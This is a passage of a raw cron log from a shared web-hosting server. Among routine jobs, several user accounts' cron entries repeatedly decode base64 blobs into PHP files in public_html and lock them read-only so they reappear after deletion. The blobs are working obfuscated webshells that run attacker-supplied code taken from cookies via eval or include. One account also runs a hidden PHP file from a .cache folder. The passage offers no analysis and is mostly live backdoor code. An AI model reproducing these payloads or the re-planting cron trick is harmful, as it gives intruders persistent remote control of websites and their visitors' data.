VJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:46:02 medusa CROND[15013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:46:02 medusa CROND[15024]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 05:46:02 medusa CROND[15028]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:46:02 medusa CROND[15034]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:46:02 medusa CROND[15035]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:46:02 medusa CROND[15026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:46:02 medusa CROND[15038]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:46:02 medusa CROND[15039]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:46:02 medusa CROND[15040]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:47:01 medusa CROND[1881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:47:01 medusa CROND[1987]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:47:01 medusa CROND[1990]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 05:47:01 medusa CROND[1991]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:47:01 medusa CROND[1993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:47:01 medusa CROND[1998]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:47:01 medusa CROND[1999]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 05:47:01 medusa CROND[2000]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:47:01 medusa CROND[1997]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:47:01 medusa CROND[2007]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:47:01 medusa CROND[2009]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:47:01 medusa CROND[2008]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:47:01 medusa CROND[2017]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:48:01 medusa CROND[25000]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:48:01 medusa CROND[25175]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:48:01 medusa CROND[25173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:48:01 medusa CROND[25178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:48:01 medusa CROND[25179]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:48:01 medusa CROND[25180]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 